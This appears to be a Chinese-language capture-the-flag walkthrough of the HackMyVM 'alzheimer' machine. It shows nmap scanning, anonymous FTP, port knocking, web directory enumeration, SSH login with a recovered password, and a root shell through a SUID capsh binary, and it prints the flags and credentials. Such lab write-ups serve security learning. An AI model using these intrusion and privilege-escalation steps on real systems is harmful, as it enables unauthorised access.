主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# arp-scan -I eth1 -l

192.168.56.137  08:00:27:b2:8d:3c       PCS Systemtechnik GmbH
```

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# nmap -p- 192.168.56.137

PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp filtered ssh
80/tcp filtered http
```

filtered了22和80？？，扫一下版本吧

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# nmap -sT -sC -sV -O -p21,22,80 192.168.56.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-06 20:27 CST
Nmap scan report for 192.168.56.137
Host is up (0.00089s latency).

PORT   STATE    SERVICE VERSION
21/tcp open     ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp filtered ssh
80/tcp filtered http
MAC Address: 08:00:27:B2:8D:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
```

```
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.34 seconds
```

发现ftp是vsftpd 3.0.3，这个版本有个弱口令/`ftp:ftp`/

ftp探测

使用lftp链接上

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# lftp 192.168.56.137 -u ftp
Password:
lftp ftp@192.168.56.137:~> ls -al
drwxr-xr-x    2 0        113          4096 Oct 03  2020 .
drwxr-xr-x    2 0        113          4096 Oct 03  2020 ..
-rw-r--r--    1 0        0              70 Oct 03  2020 .secretnote.txt
```

发现有个文件，读一下

```
lftp ftp@192.168.56.137:/> cat .secretnote.txt
I need to knock this ports and
one door will be open!
1000
2000
3000
70 bytes transferred
```

要我们敲一下1000，2000和3000三个端口

knock（或者nc一个个敲）

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# knock 192.168.56.137 1000 2000 3000

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# nmap -p- 192.168.56.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-06 20:34 CST
Nmap scan report for 192.168.56.137
Host is up (0.00044s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE    SERVICE
21/tcp open     ftp
22/tcp filtered ssh
80/tcp open     http
MAC Address: 08:00:27:B2:8D:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
```

按顺序敲完后，80端口就open了

Web探测

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# curl 192.168.56.137/
I dont remember where I stored my password :(
I only remember that was into a .txt file...
-medusa

<!---. --- - .... .. -. --. -->
```

密码在一个txt文件中，摩斯密码解码出来是`NOTHING`

目录枚举

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# dirsearch -u http://192.168.56.137/

Target: http://192.168.56.137/

[20:37:13] Starting:
[20:37:33] 301 -  185B  - /admin  ->  http://192.168.56.137/admin/
[20:37:34] 403 -  571B  - /admin/
[20:38:19] 301 -  185B  - /home  ->  http://192.168.56.137/home/
[20:38:58] 301 -  185B  - /secret  ->  http://192.168.56.137/secret/
[20:38:58] 200 -   44B  - /secret/

Task Completed
```

curl一下这三个目录

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# curl 192.168.56.137/admin/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# curl 192.168.56.137/home/
Maybe my pass is at home!
-medusa

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# curl 192.168.56.137/secret/
Maybe my password is in this secret folder?
```

除了admin403了都说在自己那，都扫一下

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# dirsearch -u http://192.168.56.137/secret/

Target: http://192.168.56.137/

[20:45:23] Starting: secret/
[20:46:34] 301 -  185B  - /secret/home  ->  http://192.168.56.137/secret/home/

Task Completed
```

home没东西，curl一下/secret/home

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# curl 192.168.56.137/secret/home/
Im trying a lot. Im sure that i will recover my pass!
-medusa
```

继续往下枚举发现没东西，我在想会不会22也open了呢

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# nmap -p- 192.168.56.137

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

发现22open了但是密码

登录medusa

会是摩斯密码？txt呢？

想起第一次读的txt，回去瞅一眼

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# lftp 192.168.56.137 -u ftp
Password:
lftp ftp@192.168.56.137:~> ls -al
drwxr-xr-x    2 0        113          4096 Oct 03  2020 .
drwxr-xr-x    2 0        113          4096 Oct 03  2020 ..
-rw-r--r--    1 0        0              93 Dec 06 07:34 .secretnote.txt
lftp ftp@192.168.56.137:/> cat .secretnote.txt
I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!
93 bytes transferred
```

发现真不一样了，从70 bytes --- > 93bytes

密码为`Ihavebeenalwayshere!!!`

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/alzheimer]
└─# ssh medusa@192.168.56.137
The authenticity of host '192.168.56.137 (192.168.56.137)' can't be established.
ED25519 key fingerprint is SHA256:O2S8HAtlJxSTJJgIQUiIzsbSKX/qj9Thyn38JM6wsBY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.137' (ED25519) to the list of known
hosts.
medusa@192.168.56.137's password:
Linux alzheimer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07)
x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct  3 06:00:36 2020 from 192.168.1.58
```

user.txt

```
medusa@alzheimer:~$ cat user.txt
HMVrespectmemories
```

提权

查看sudo和有SUID权限的文件

```
medusa@alzheimer:~$ sudo -l
Matching Defaults entries for medusa on alzheimer:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User medusa may run the following commands on alzheimer:
    (ALL) NOPASSWD: /bin/id
```

```
medusa@alzheimer:~$ find / -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/sbin/capsh
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which capsh) .
./capsh --gid=0 --uid=0 --
```

```
medusa@alzheimer:~$ /usr/sbin/capsh --gid=0 --uid=0 --
root@alzheimer:~# id
uid=0(root) gid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(
netdev),1000(medusa)
```

成功获得root权限

root.txt

```
root@alzheimer:~# cat /root/root.txt
HMVlovememories
```